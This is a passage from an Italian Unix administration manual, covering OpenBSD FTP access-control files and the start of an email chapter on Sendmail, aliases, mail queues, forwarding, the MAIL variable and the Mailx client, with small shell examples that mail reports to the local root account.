Dopo la sistemazione dell'accesso anonimo, conviene occuparsi del file '/etc/ftpchroot', all'interno del quale si possono elencare gli utenti che, pur potendo accedere con il proprio nominativo, possono entrare solo nella propria directory personale, come avviene per gli utenti anonimi con la directory '~ftp/'.

```
tizio
caio
```

L'esempio che si vede sopra è molto breve e serve a fare in modo che gli utenti '**tizio**' e '**caio**' possano accedere limitatamente alla propria directory personale; tutti gli altri utenti hanno accesso a tutto il file system, con le limitazioni normali date dai permessi dei file e delle directory.

OpenBSD FTP riconosce anche il file '/etc/ftpusers', all'interno del quale vanno elencati i nominativi degli utenti a cui **non** si consente l'accesso. Generalmente si tratta di utenti fittizi, compreso '**root**' per questioni di sicurezza, come nell'esempio seguente:

```
root
bin
daemon
adm
lp
sync
shutdown
halt
mail
news
uucp
```

```
operator
games
nobody
```

Naturalmente, per compilare correttamente questo file, è bene analizzare il file '`/etc/passwd`' del proprio sistema. Si osservi che per impedire l'accesso agli utenti anonimi, ovvero '**`ftp`**' e '**`anonymous`**', occorre estendere questo file con tali nomi:

```
root
bin
daemon
adm
lp
…
nobody
ftp
anonymous
```

Infine, OpenBSD FTP riconosce anche il file '`/etc/nologin`', in presenza del quale rifiuta gli accessi; inoltre, è possibile definire un messaggio di benvenuto nel file '`/etc/ftpwelcome`' e anche il contenuto di '`/etc/motd`' viene visualizzato all'accesso.

44.6 Riferimenti

- Jay Rabak, *Active vs. passive FTP, a definitive explanation*

  ⟨*http://slacksite.com/other/ftp.html* ⟩

- J. Postel, J. Reynolds, *RFC 959, File transfer protocol (FTP)*, 1985

  ⟨*http://www.ietf.org/rfc/rfc959.txt* ⟩

[1] I numeri UID e GID dipendono dall'organizzazione del proprio sistema.

[2] Di solito, quando si inserisce il proprio indirizzo di posta elettronica come parola d'ordine per accedere a un servizio FTP anonimo, è sufficiente indicare la parte che precede il dominio, fino al simbolo '**`@`**' incluso. Quindi, se l'indirizzo fosse *`daniele@dinkel.brot.dg`*, basterebbe inserire '**`daniele@`**'.

[3] **FTP** UCB BSD

[4] **OpenBSD FTP** UCB BSD

[5] Il particolare della shell valida va tenuto in considerazione perché altri serventi FTP si comportano diversamente.

Capitolo 45

Posta elettronica

45.1 Servizio di rete e servizio di consegna locale 2463
45.2 Uso della posta elettronica 2464
45.2.1 Elementi di intestazione 2464
45.2.2 Risposta, proseguimento e riservatezza 2465
45.3 MTA tradizionale (Sendmail) 2466
45.3.1 Alias 2467
45.3.2 Coda dei messaggi 2467
45.3.3 Rinvio 2468
45.4 Recapito della posta elettronica: la variabile «MAIL» 2468
45.5 Mail user agent 2469
45.5.1 Ricezione e invio dei messaggi da parte del MUA 2469
45.5.2 Cartelle e formato dei dati 2469
45.6 Invio di messaggi attraverso un MTA compatibile con Sendmail 2470
45.7 Mailx 2472
45.7.1 Avvio e funzionamento 2472
45.7.2 Configurazione di Mailx 2474
45.7.3 Nail 2476
45.8 Mutt 2477
45.9 Configurazione compatibile tra Mailx, Nail e Mutt 2482
45.10 Ricerche nei file delle cartelle di messaggi 2484
45.11 Messaggi giunti presso recapiti remoti 2485
45.11.1 IMAP toolkit: ipop3d, ipop2d, imapd 2486
45.11.2 Popclient 2487
45.11.3 Fetchmail 2488
45.11.4 Gestione remota della posta elettronica 2492
45.12 Messaggi, allegati ed estensioni MIME 2492
45.12.1 Allegati 2493
45.12.2 Uuencode 2493
45.12.3 Involucro MIME 2495
45.12.4 Messaggi contenenti più parti MIME 2498
45.12.5 Sistemazione manuale di un allegato MIME 2500
45.12.6 Mpack 2504

45.13 Gestione della posta elettronica in generale 2505
45.13.1 Composizione di un messaggio 2507
45.13.2 Messaggi contraffatti e punto di iniezione 2509
45.13.3 Identificazione della destinazione 2510
45.13.4 Misure di sicurezza 2511
45.13.5 Referente per l'amministrazione del servizio 2511
45.14 Pratica manuale con i protocolli 2511
45.14.1 SMTP attraverso un cliente TELNET 2511
45.14.2 POP3 attraverso un cliente TELNET 2514
45.14.3 POP3s attraverso un cliente TELNET-SSL 2515
45.14.4 Script per l'invio di un messaggio attraverso Telnet 2517
45.15 Procmail 2519
45.15.1 Configurazione di partenza e verifica del funzionamento 2520
45.15.2 Attivazione di Procmail 2521
45.15.3 Esempi semplici di configurazione 2521
45.16 SpamAssassin 2524
45.16.1 Configurazione di SpamAssassin 2524
45.16.2 Cosa fa SpamAssassin 2525
45.16.3 Filtrare i messaggi automaticamente 2529
45.16.4 Autoapprendimento 2530
45.17 Liste di posta elettronica 2530
45.17.1 Lista elementare 2530
45.17.2 Mailman 2532
45.18 Riferimenti 2540

`.fetchmailrc` 2488 `.forward` 2468 `.mailrc` 2472 2476 `.poprc` 2487 `.procmailrc` 2519 2529 `aliases` 2467 `fetchmail` 2488 `grepmail` 2484 `imapd` 2486 `ipop2d` 2486 `ipop3d` 2486 `mail` 2472 `mail.rc` 2472 `mailq` 2467 `mmsitepass` 2532 `mm_cfg.py` 2532 `mpack` 2504 `mutt` 2477 `nail` 2476 `nail.rc` 2476 `newaliases` 2467 `newlist` 2533 `procmail` 2519 `rmlist` 2533 `sa-learn` 2530 `sa-update` 2524 `sendmail` 2466 `spamassassin` 2524 `uuencode` 2493 `$MAIL` 2468 2469

Generalmente, l'invio di messaggi di posta elettronica (*email*) si basa su un MTA (*Mail transfer agent*) locale che, quando riceve una richiesta di invio di un messaggio, si occupa di mettersi in contatto con un suo collega presso l'indirizzo di destinazione, o se necessario in una destinazione intermedia, che si prenda cura di consegnare il messaggio o di reinoltrarlo. Tutto quanto sembra molto semplice a dirsi, in realtà la configurazione di un MTA potrebbe essere molto complessa.

Spesso, in presenza di una rete locale, il funzionamento corretto dell'MTA richiede la predisposizione di un servizio di risoluzione dei nomi locale. A tale proposito conviene consultare il capitolo 39.

L'invio di messaggi di posta elettronica avviene solitamente attraverso l'uso di un programma adatto alla loro composizione, che poi si mette in comunicazione con l'MTA per l'inoltro del messaggio. Più precisamente, un messaggio inviato a un utente dell'elaboratore locale non richiede alcun MTA, mentre l'invio a un altro elaboratore richiede almeno la presenza di un MTA presso l'indirizzo di destinazione.

Storicamente, l'MTA più diffuso nei sistemi Unix è stato Sendmail; [1] tuttavia, è sempre più comune l'uso di MTA alternativi, meno complicati, pur mantenendo un certo grado di compatibilità con quello tradizionale.

45.1 Servizio di rete e servizio di consegna locale

La posta elettronica non è semplicemente un servizio di rete che si attua attraverso un protocollo (SMTP). Il servizio di rete permette il trasferimento dei messaggi, ma l'MTA ha anche il compito di recapitarli ai destinatari, in forma di file.

In questo senso, il meccanismo può sembrare un po' confuso all'inizio, trattandosi effettivamente di un sistema piuttosto complicato. In un sistema composto da un elaboratore isolato, anche se provvisto di terminali più o meno decentrati, non c'è alcun bisogno di fare viaggiare messaggi attraverso una rete, è sufficiente che questi vengano semplicemente messi a disposizione dell'utente destinatario in uno o più file. In tal caso, chi si occupa di attuare questo sistema è un MDA, ovvero *Mail delivery agent*.

Quando invece si deve inviare un messaggio attraverso la rete, perché l'indirizzo del destinatario si trova in un nodo differente, si utilizza il protocollo SMTP, per contattare presso la destinazione un servente SMTP. Questo servente ha il compito di recapitare la posta elettronica (presumibilmente presso il proprio sistema locale). Quindi, lo scopo del servente SMTP è quello di recapitare i messaggi.

La trasmissione di un messaggio che richiede la connessione con il servente remoto della destinazione, non fa capo ad alcun servizio di rete nell'ambito locale. Questa connessione potrebbe essere instaurata direttamente dal programma che si utilizza per scrivere il messaggio da trasmettere, oppure, come succede di solito, da un altro programma specifico, che in più si preoccupa di ritentare l'invio del messaggio se per qualche motivo le cose non funzionano subito, rinviandolo eventualmente all'origine se non c'è modo di recapitarlo.

L'MTA ha generalmente questi tre ruoli fondamentali: l'attivazione del servizio SMTP, per la ricezione di messaggi dall'esterno; la gestione della trasmissione di questi, assieme a una coda per ciò che non può essere trasmesso immediatamente; la consegna locale dei messaggi ricevuti attraverso il protocollo SMTP oppure attraverso lo stesso sistema locale. Quindi, in generale, un MTA integra anche le funzioni di un MDA.

45.2 Uso della posta elettronica

La posta elettronica, o *email*, è un modo di comunicare messaggi che richiede la conoscenza di alcune convenzioni. Ciò, sia per evitare malintesi, sia per eliminare le perdite di tempo.

Un messaggio di posta elettronica è formato fondamentalmente da una «busta» e dal suo contenuto. La busta è rappresentata da tutte le informazioni necessarie a recapitare il messaggio, mentre il contenuto è composto generalmente da un testo ASCII puro e semplice. Tutte le volte che il testo è composto in modo diverso, si aggiungono dei requisiti nei programmi da utilizzare per la sua lettura; in pratica, si rischia di creare un problema in più al destinatario del messaggio.

In generale, un messaggio di posta elettronica può contenere uno o più ***allegati***, conosciuti frequentemente come *attachment*. L'allegato permette di incorporare in un messaggio un file che poi, attraverso strumenti opportuni, può essere estrapolato correttamente, riproducendo esattamente il file originale. Ciò che si deve evitare di fare in generale è l'invio del messaggio come un allegato. Questo, purtroppo, capita frequentemente quando si usano programmi per la composizione di messaggi di posta elettronica che permettono di introdurre elementi di composizione del testo (*Rich Text*). Quando si usano programmi grafici di scrittura per i messaggi di posta elettronica è bene controllare la configurazione per disabilitare l'inserimento di codici di composizione.

Le varie estensioni al codice ASCII hanno portato alla definizione di un gran numero di codifiche differenti. Spesso è sufficiente configurare il proprio programma di composizione dei messaggi di posta elettronica in modo da utilizzare la codifica UTF-8, per poter scrivere correttamente con qualunque lingua. Tuttavia, anche la scelta di una codifica come questa, che richiede l'utilizzo di 8 bit invece dei 7 bit tradizionali dell'ASCII, può costituire un problema per qualcuno. In tal senso, quando si scrive in italiano, può essere cortese l'uso di apostrofi alla fine delle vocali che avrebbero dovuto essere accentate.

45.2.1 Elementi di intestazione

Un messaggio di posta elettronica si compone inizialmente di una serie di indicazioni, tra cui le più importanti sono quelle che servono a recapitarlo al destinatario. L'uso corretto di questi elementi di intestazione è importante, non solo perché il messaggio raggiunga il destinatario o i destinatari, ma anche per chiarire loro il contesto del messaggio e le persone coinvolte.

Campo	Descrizione
`To:`	Il campo '**`To:`**' viene utilizzato per definire i destinatari del messaggio. Quando si tratta di più di uno, convenzionalmente, i vari indirizzi vengono separati attraverso una virgola. L'indirizzo del destinatario va indicato secondo le regole consentite dagli MTA interessati; generalmente è ammissibile una delle tre forme seguenti: ***utente*@*nodo*** ***nominativo_completo*** <***utente*@*nodo***> "***nominativo_completo***" <***utente*@*nodo***>
`Cc:`	Il campo '**`Cc:`**' viene utilizzato per definire i destinatari del messaggio in ***copia carbone***. Nella corrispondenza normale, almeno in Italia, si utilizza la definizione «per conoscenza», intendendo che questi destinatari non sono chiamati in causa direttamente. In pratica, si utilizza il campo '**`Cc:`**' per recapitare una copia del messaggio a dei corrispondenti dai quali non si attende una risposta, ma che è importante siano a conoscenza di queste informazioni.

Campo	Descrizione
`Bcc:`	Il campo '**`Bcc:`**' viene utilizzato per definire i destinatari del messaggio a cui deve essere inviata una copia carbone nascosta (*Blind carbon copy*). La differenza rispetto alla copia carbone normale sta nel fatto che i destinatari non vengono messi a conoscenza della presenza di queste copie aggiuntive.
`From:`	Il campo '**`From:`**' viene utilizzato per definire l'indirizzo del mittente. Non si tratta necessariamente del nome utilizzato dall'utente nel momento in cui compone il messaggio, ma di quello al quale ci si aspetta di ricevere una risposta.
`Reply-To:`	Il campo '**`Reply-To:`**' viene utilizzato per indicare un indirizzo a cui si invita a inviare un'eventuale risposta. Viene utilizzato in situazioni particolari, quando per questo non si intende usare il campo '**`From:`**'. Tipicamente viene aggiunto nei messaggi trasmessi da un sistema che gestisce le liste di posta elettronica (*mailing-list*) quando si vuole lasciare l'indicazione del mittente effettivo, guidando la risposta verso la stessa lista.
`Subject:`	Il campo '**`Subject:`**' serve a indicare l'oggetto del messaggio. Anche se nella corrispondenza normale l'oggetto viene usato solo nelle comunicazioni formali, nella posta elettronica è opportuno aggiungere sempre questa indicazione. Un oggetto chiaro permette al destinatario di capire immediatamente il contesto per il quale viene contattato. Inoltre, quando da un messaggio si genera una catena di risposte (cioè un *thread*), è importante l'oggetto scelto inizialmente.

45.2.2 Risposta, proseguimento e riservatezza

La risposta a un messaggio viene inviata normalmente al mittente ('**`From:`**'), a tutti i destinatari normali ('**`To:`**') e a tutti quelli cui è stato inviato il messaggio per conoscenza ('**`Cc:`**'). Questa operazione viene fatta solitamente in modo automatico dal programma utilizzato per leggere e comporre i messaggi: il *Mail user agent* (MUA). È importante però fare attenzione sempre che ciò corrisponda alla propria volontà, o che le circostanze siano appropriate. Infatti, se sono coinvolte diverse persone in una corrispondenza, è probabile che si giunga a un punto in cui non abbia più significato continuare a «importunarle» quando la catena di risposte è degenerata in un contesto differente.

I programmi MUA comuni aggiungono la sigla '**`Re:`**' davanti all'oggetto, a meno che non inizi già in questo modo, quando si risponde a un messaggio precedente. Il problema sta nel fatto che non sempre viene rispettata questa convenzione, per cui se ne trovano altri che aggiungono qualcosa di diverso, come '**`R:`**'. Così, se la catena di risposte prosegue si rischia di arrivare ad avere un oggetto formato da una serie di '**`Re: R: Re: R:`**'.

Quando il messaggio a cui si risponde contiene l'indicazione del campo '**`Reply-To:`**', si pone un problema in più: la scelta corretta del destinatario. Infatti, la risposta va inviata all'indirizzo '**`Reply-To:`**' solo se perfettamente conforme al contesto. Si è già accennato al fatto che questo campo viene aggiunto dai programmi di gestione delle liste di posta elettronica. In questa situazione è molto diverso inviare una risposta alla lista o soltanto al mittente originario del messaggio.

Quando si vuole rinviare a un altro indirizzo (*forward* in inglese), si dice che questo viene fatto ***proseguire*** (così come avviene nella posta normale quando l'indirizzo di destinazione non è più valido per qualche motivo). Per farlo si incorpora il messaggio originale con alcune informazioni sul mittente e sul destinatario originale, permettendo di aggiungere qualche commento aggiuntivo.

Quando si riceve un messaggio, così come accade nella corrispondenza normale, occorre un po' di attenzione se si pensa di divulgarne il contenuto ad altri. Evidentemente dipende dalle

circostanze; in caso di dubbio occorre almeno chiedere il consenso della persona che lo ha scritto.

45.3 MTA tradizionale (Sendmail)

Sendmail costituisce il capostipite degli MTA, tanto che a volte si confonde il suo nome con il concetto di MTA stesso. Sendmail aveva la caratteristica di essere estremamente versatile, ma con una configurazione di eccezionale complessità che era spesso la causa della sua vulnerabilità. Oggi è bene evitare di utilizzare Sendmail come MTA, tuttavia è opportuno conoscere le sue caratteristiche generali, perché altri MTA hanno seguito alcune sue convenzioni.

A seconda delle opzioni con cui viene avviato l'eseguibile '**`sendmail`**', si ottiene un demone in ascolto della porta SMTP (25), oppure si ottiene la trasmissione di un messaggio fornito attraverso lo standard input, oppure si hanno altre funzioni accessorie.

`sendmail` [***opzioni***]

Per l'attivazione del servizio SMTP, viene avviato normalmente come demone indipendente dal supervisore dei servizi di rete, aggiungendo così l'opzione '**`-bd`**'. Naturalmente, si tratta solitamente di un'operazione che viene fatta dalla stessa procedura di inizializzazione del sistema. Ecco come potrebbe apparire la riga che avvia '**`sendmail`**' in uno script del genere:[2]

```
/usr/lib/sendmail -bd
```

Per l'invio di un messaggio, è sufficiente avviare '**`sendmail`**', fornendogli questo attraverso lo standard input, avendo cura di separare con una riga vuota l'intestazione dal testo. Segue un esempio di questo tipo di utilizzo:.

$ **`cat | /usr/lib/sendmail tizio@dinkel.brot.dg`** [*Invio*]

`From: caio@roggen.brot.dg` [*Invio*]

`Subject: ciao ciao` [*Invio*]

[*Invio*]

`Ciao Tizio.` [*Invio*]

`Quanto tempo che non ci si sente!` [*Invio*]

[*Ctrl d*]

Questa forma di utilizzo dell'eseguibile '**`sendmail`**' può essere utile per realizzare uno script con qualche informazione definita in modo automatico.

Per questo tipo di utilizzo, è fondamentale la riga vuota (vuota e non solo bianca) prima del testo del messaggio.

45.3.1 Alias

Attraverso il file '`/etc/aliases`' è possibile configurare una serie di alias per facilitare l'invio di messaggi di posta elettronica. Gli alias stabiliscono a chi, effettivamente, debbano essere recapitati i messaggi.

In generale, non è conveniente che l'utente '**`root`**' possa ricevere dei messaggi, per questo, un alias potrebbe rimandare la sua posta elettronica verso il recapito corrispondente all'utente comune riferito a quella stessa persona. Inoltre, è importante che gli utenti fittizi ('**`bin`**', '**`daemon`**', ecc.) non possano ricevere messaggi: prima di tutto non esistono tali persone, inoltre ciò potrebbe servire per sfruttare qualche carenza nel sistema di sicurezza dell'elaboratore locale. Infine, è molto importante che vengano definiti degli alias usati comunemente per identificare il responsabile del servizio SMTP presso il nodo locale.

L'esempio seguente mostra il file '`/etc/aliases`' tipico, in cui si dichiarano gli alias del responsabile del servizio ('**`postmaster`**'), gli alias degli utenti di sistema e infine l'alias dell'utente '**`root`**'.

```
postmaster: root
root: tizio

shutdown: root
reboot: root
admin: root
daemon: root
bin: root
sys: root
…
abuse: root
security: root

mailer-daemon: postmaster
```

L'MTA potrebbe non essere in grado di leggere direttamente questo file, richiedendo una sorta di compilazione. Sendmail prevede il comando '**`newaliases`**' con cui si produce o si aggiorna il file '`/etc/aliases.db`'. Spesso, gli MTA compatibili con Sendmail dispongono di un comando '**`newaliases`**' fasullo (privo di effetto), in quanto si servono direttamente dell'elenco testuale di partenza senza bisogno di trasformarlo.

45.3.2 Coda dei messaggi

Quando l'MTA viene avviato per ottenere l'invio di un messaggio, questo utilizza normalmente una o più directory collocate da qualche parte sotto '`/var/spool/`', per accodare ciò che non può essere trasmesso immediatamente. Per sapere se un messaggio è stato inviato effettivamente si utilizza normalmente il comando '**`mailq`**':

`$` **`mailq`** [*Invio*]

```
                Mail Queue (2 requests)
--Q-ID-- --Size-- -Priority- ---Q-Time--- -----------Sender/Recipient-----------
VAA03244       16      30065 Sep 12 21:01 root
                 (Deferred: No route to host)
                                          daniele@weizen.mehl.dg
VAA03507       10      30066 Sep 12 21:09 root
                 (Deferred: Connection refused by weizen.mehl.dg.)
                                          root@weizen.mehl.dg
```

L'uso di '**`mailq`**' è molto importante per verificare che i messaggi siano stati inviati, specialmente quando si utilizza un collegamento saltuario alla linea esterna.

45.3.3 Rinvio

Il file '`~/.forward`' può essere preparato da un utente (nella propria directory personale) per informare il sistema di consegna locale della posta elettronica (MDA) di fare proseguire (rinviare) i messaggi verso altri indirizzi. Il file si compone di una o più righe, ognuna contenente un indirizzo di posta elettronica alternativo; i messaggi giunti per l'utente in questione vengono fatti proseguire verso tutti gli indirizzi elencati in questo file.

```
daniele@dinkel.brot.dg
```

L'esempio mostra semplicemente che tutti messaggi di posta elettronica ricevuti dall'utente a cui appartiene la directory personale in cui si trova il file, devono essere rispediti all'indirizzo *`daniele@dinkel.brot.dg`*.

È importante chiarire che **non** rimane copia dei messaggi per l'utente in questione. Si presume che questo utente riceva la posta elettronica attraverso uno degli indirizzi elencati nel file '`~/.forward`'.

45.4 Recapito della posta elettronica: la variabile «MAIL»

La posta elettronica viene recapitata normalmente all'interno di un file di testo unico, appartenente all'utente destinatario. Generalmente, si distinguono due possibilità sulla collocazione di tale file: la directory '`/var/mail/`' (o anche '`/var/spool/mail/`') e un file particolare nella directory personale dell'utente.

Sendmail e altri programmi simili, utilizzano il primo modo, secondo la configurazione predefinita, dove ogni utente ha un proprio file con un nome che corrisponde a quello dell'utenza.

I programmi utilizzati per leggere la posta elettronica devono sapere dove trovarla; in generale si utilizza la convenzione della variabile di ambiente ***MAIL***, la quale serve a definire il percorso assoluto del file di destinazione dei messaggi.

Di solito, nel profilo di configurazione della shell appare un'istruzione simile a quella seguente, dove si definisce l'uso di un file, il cui nome corrisponde a quello dell'utente destinatario, nella directory '`/var/mail/`' (si fa riferimento a una shell derivata da quella di Bourne).

```
MAIL="/var/mail/$USER"
export MAIL
```

L'esempio seguente ipotizza invece un recapito presso la directory personale dell'utente:

```
MAIL="$HOME/mail/inbox"
export MAIL
```

45.5 Mail user agent

Per scrivere, inviare e leggere i messaggi di posta elettronica si utilizza normalmente un programma apposito, detto MUA o *Mail user agent*. Programmi di questo tipo se ne possono trovare in grande quantità, ma difficilmente questi sono compatibili tra loro.

Il MUA storicamente più importante e quasi sempre presente nei sistemi Unix è Berkeley Mail, ovvero Mailx.

45.5.1 Ricezione e invio dei messaggi da parte del MUA

La ricezione dei messaggi in un sistema Unix avviene principalmente leggendo il file usato per il recapito di questi nel sistema locale, ovvero il file indicato nella variabile di ambiente ***MAIL***. Questo è ciò che si limita a fare un programma come Mailx, mentre altri programmi più sofisticati possono prelevare la posta direttamente da caselle remote attraverso i protocolli POP3 (a volte anche POP2) e IMAP.

Per l'invio dei messaggi, il programma MUA di un sistema Unix ha a disposizione due possibilità. La più semplice è l'utilizzo dell'eseguibile '**`sendmail`**' (inteso come MDA locale), a cui viene passato il messaggio attraverso lo standard input, dove poi è questo secondo programma che provvede da solo al recapito locale o all'invio ad altra destinazione attraverso il protocollo SMTP; la seconda possibilità consiste invece nell'accedere direttamente a un servente SMTP.

Tanto per fare un esempio, Mailx è quel tipo di programma che si avvale dell'MDA locale per spedire i messaggi, mentre i programmi più sofisticati si avvalgono direttamente del protocollo SMTP. La differenza tra i due approcci è importante: se non si vuole gestire la posta elettronica localmente, ma si ha una casella di posta remota (come quando si fa un contratto con un ISP), si può fare affidamento esclusivamente su un servente SMTP remoto (offerto da quello stesso ISP). Volendo invece utilizzare Mailx, o programmi simili, si è costretti a installare un MTA locale.

45.5.2 Cartelle e formato dei dati

Un programma MUA comune consente di organizzare i messaggi ricevuti e le copie di quelli trasmessi all'interno di ***cartelle***. Queste cartelle possono essere delle directory contenenti i messaggi sotto forma di file differenti, oppure possono essere dei file singoli, a cui spesso si affiancano altri file contenenti dei riferimenti ai vari messaggi interni.

La forma tradizionale di queste cartelle è quella conosciuta con il nome ***mailbox***, corrispondente in pratica a quella del file usato per il recapito dei messaggi locali, come indicato dalla variabile di ambiente ***MAIL***. La gestione di cartelle in formato *mailbox* ha lo svantaggio di non offrire un metodo efficace per l'accesso simultaneo da parte di più programmi, tuttavia la corrispondenza è qualcosa di personale e difficilmente si utilizzano due o più programmi simultaneamente.

Nella situazione più semplice, il programma MUA gestisce le cartelle dei messaggi nel formato *mailbox*, in una directory, senza aggiungere altri file (riconoscendo tutti i file della directory come cartelle di messaggi). Eventualmente, alcune cartelle significative possono essere identificate dal programma MUA con un nome particolare, differente dal nome reale del file corrispondente. Per esempio, una di queste cartelle potrebbe chiamarsi «messaggi trasmessi» ed essere abbinata al file '`sentbox`'.

Sono pochi i programmi che ancora oggi si limitano all'uso del formato *mailbox*, senza associare degli indici, riconoscendo come cartelle tutti i file contenuti in una directory stabilita, ma sono solo questi che consentono di usare la posta elettronica sia con Mailx, sia con altri programmi compatibili.

45.6 Invio di messaggi attraverso un MTA compatibile con Sendmail

È già stato mostrato brevemente come inviare un messaggio molto semplice attraverso l'uso dell'eseguibile '`/usr/lib/sendmail`', di Sendmail o di un altro MTA che ne conservi la compatibilità. Questa forma di invio dei messaggi diventa molto importante per programmi molto semplici che hanno la necessità di inviare delle informazioni in forma di messaggi di posta elettronica, senza potersi servire di un MUA particolare. Il modello sintattico seguente mostra come strutturare un file contenente un messaggio di posta elettronica da inviare in questo modo:

`To:` [***nominativo_del_destinatario***] <***indirizzo_di_posta_elettronica_del_destinatario***>
`From:` [***nominativo_del_mittente***] <***indirizzo_di_posta_elettronica_del_mittente***>
[`Cc:` [***nominativo_destinatario_in_copia***] <***indirizzo_destinatario_in_copia***> [`,` ↩
↪ [***nominativo_destinatario_in_copia***] <***indirizzo_destinatario_in_copia***>] ...]
[`Bcc:` [***nominativo_destinatario_anonimo***] <***indirizzo_destinatario_anonimo***> [`,` ↩
↪ [***nominativo_destinatario_anonimo***] <***indirizzo_destinatario_anonimo***>] ...]
[***altri_campi_particolari***]
...
[`Subject:` ***oggetto***]

testo_del_messaggio
...
...

Un file del genere, potrebbe assomigliare all'esempio seguente:

```
To: Tizio <tizio@dinkel.brot.dg>
From: Caio <caio@roggen.brot.dg>
Subject: ciao ciao

Ciao Tizio.
Quanto tempo che non ci si sente!
```

Se questo file viene chiamato '`lettera`', lo si può spedire in modo molto semplice così:

$ **cat lettera | /usr/lib/sendmail -t** [*Invio*]

In questo modo, con l'opzione '**-t**', si ottiene di far leggere l'indirizzo del destinatario dal file stesso.

L'invio di messaggi attraverso questo meccanismo diventa ancora più interessante quando avviene all'interno di uno script di shell. Il modello seguente fa riferimento all'uso di una shell standard per inviare all'utente '**root**' un rapporto su quanto svolto da un certo tipo di elaborazione; si può osservare che i comandi che costruiscono il messaggio vengono racchiusi tra parentesi tonde, per poter convogliare il loro flussi standard di uscita in modo complessivo verso '/usr/lib/sendmail':

```
#!/bin/sh
(
echo "To: <root@localhost>"
echo "From: nome_di_comodo <root>"
echo "Subject: oggetto"
echo ""
echo "Il giorno `date` e\` stato eseguito il comando"
echo "comando che ha dato questo responso:"
comando_che_esegue_qualcosa
) 2>&1 | /usr/lib/sendmail -t
exit 0
```

Si intuisce che uno script realizzato secondo uno schema simile a quello appena mostrato, potrebbe essere avviato dal sistema Cron per svolgere automaticamente delle funzioni, avvisando convenientemente dell'esito l'amministratore del sistema.

Se non fosse chiaro, ecco come si potrebbe inviare all'amministratore il risultato del comando '**ls -l /**':

```
#!/bin/sh
(
echo "To: <root@localhost>"
echo "From: ls <root>"
echo "Subject: oggetto"
echo ""
echo "Il giorno `date` e\` stato eseguito il comando"
echo "\"ls -l /\" che ha dato questo responso:"
ls -l /
) 2>&1 | /usr/lib/sendmail -t
exit 0
```

Nella sezione 45.14.4 viene mostrato come realizzare uno script che si avvale di Telnet per contattare un servente SMTP in modo diretto.

45.7 Mailx

Mailx[3] è il programma standard di gestione della posta elettronica, originariamente parte dello Unix BSD. Si tratta di un programma piuttosto scomodo da usare, ma rappresenta lo standard ed è quasi indispensabile la sua presenza.

L'eseguibile '**mail**' prevede due file di configurazione, uno generale per tutto il sistema e uno particolare per ogni utente. Si tratta rispettivamente di '/etc/mail.rc' e '~/.mailrc'.

Nella sua semplicità, Mailx è comunque un programma ricco di opzioni e di comandi per l'utilizzo interattivo. Tuttavia, di solito, è apprezzato solo nelle situazioni di emergenza, per cui è raro che venga sfruttato al massimo delle sue possibilità.

Per l'invio della posta, Mailx utilizza l'eseguibile '**sendmail**', passandogli le informazioni attraverso la riga di comando e lo standard input. Per la lettura dei messaggi ricevuti, Mailx legge il file specificato dalla variabile di ambiente ***MAIL***; inoltre, generalmente salva i messaggi letti e non cancellati nel file '~/mbox' (nella directory personale dell'utente).

45.7.1 Avvio e funzionamento

Il programma '**mail**' è l'eseguibile di Mailx. Con la sua semplicità ha il vantaggio di poter utilizzare lo standard input come fonte per un testo da inviare. Di conseguenza, è ottimo per l'utilizzo all'interno di script, anche se per questo si potrebbe richiamare direttamente l'eseguibile '**sendmail**'. La sintassi della riga di comando è molto semplice:

```
mail [opzioni] [destinatario...]
```

Segue la descrizione di alcune opzioni.

Opzione	Descrizione
-v	Visualizza un maggior numero di informazioni.
-i	Ignora i segnali di interruzione.
-I	Forza un funzionamento interattivo.
-n	Non legge il file '/etc/mail.rc' quando viene avviato.
-N	Inibisce la visualizzazione delle intestazioni dei messaggi quando viene letta o modificata la cartella della posta.
-s ***oggetto***	Permette di definire l'oggetto già nella riga di comando (se si intendono utilizzare spazi, l'oggetto deve essere racchiuso tra virgolette).
-c ***elenco_destinatari***	Permette di definire un elenco di destinatari di una copia del documento (copia carbone). L'elenco degli indirizzi di destinazione è fatto utilizzando la virgola come simbolo di separazione.
-b ***elenco_destinatari***	Permette di definire un elenco di destinatari di una copia carbone che non vengono menzionati nell'intestazione del documento (*blind carbon copy*). L'elenco degli indirizzi di destinazione è fatto utilizzando la virgola come simbolo di separazione.

Opzione	Descrizione
-f *cartella_della_posta*	Permette di leggere la posta contenuta all'interno di un file determinato.

Il programma '**mail**', se avviato allo scopo di leggere la posta, mostra un elenco dei messaggi presenti e attende che gli vengano impartiti dei comandi in modo interattivo. Per questo mostra un invito (*prompt*), formato dal simbolo '**&**'.

Ognuno di questi comandi ha un nome, ma spesso può essere abbreviato alla sola iniziale. L'elenco di questi comandi è molto lungo e può essere letto dalla documentazione interna, *mailx(1)*. Qui viene descritto solo l'utilizzo più comune, con i comandi relativi.

Invio della posta

Per inviare della posta a una o più persone, è sufficiente avviare '**mail**' utilizzando come argomento gli indirizzi di destinazione delle persone da raggiungere. Per concludere l'inserimento del testo, generalmente è sufficiente inserire un punto ('**.**') all'inizio di una riga nuova, oppure è possibile inviare il codice di EOF: [*Ctrl d*]. Si osservi l'esempio seguente, in cui si invia un messaggio molto semplice all'indirizzo *tizio@dinkel.brot.dg*:

$ **mail tizio@dinkel.brot.dg** [*Invio*]

Subject: **Vado in ferie** [*Invio*]

Ciao Tizio, [*Invio*]

ti scrivo solo per avvisarti che parto per una settimana [*Invio*]

e durante tale periodo non potrò leggere la posta. [*Invio*]

A presto, [*Invio*]

Caio [*Invio*]

. [*Invio*]

Cc: [*Invio*]

Durante l'inserimento del messaggio è possibile impartire dei comandi speciali, definiti attraverso delle sequenze di escape, rappresentate da una tilde ('**~**') seguita dal comando vero e proprio. Attraverso queste sequenze di escape è possibile aggiungere indirizzi ai destinatari in copia carbone, o in copia carbone nascosta, è possibile importare un file, cambiare l'oggetto del messaggio... In particolare, è possibile anche passare alla scrittura del testo attraverso un programma visuale più comodo (come VI o altro, a seconda della configurazione).

Lettura della posta ricevuta

Per controllare la cartella della posta ricevuta e per leggere eventualmente i messaggi, è sufficiente avviare '**mail**' senza argomenti. Il programma '**mail**' visualizza un elenco numerato delle descrizioni dell'oggetto di ogni lettera ricevuta. Una volta avviato '**mail**', questo presenta il suo invito rappresentato da una e-commerciale ('**&**'), dal quale è possibile dare dei comandi. In particolare, è possibile inserire il numero del messaggio che si vuole leggere. Per leggere il successivo è sufficiente premere il tasto [+], mentre per rileggere quello precedente è sufficiente premere il tasto [-]. Segue un esempio di lettura di un messaggio.

```
$ mail [Invio]

  Mail version 8.1.2 01/15/2001.  Type ? for help.
  "/home/tizio/mail/inbox": 6 messages
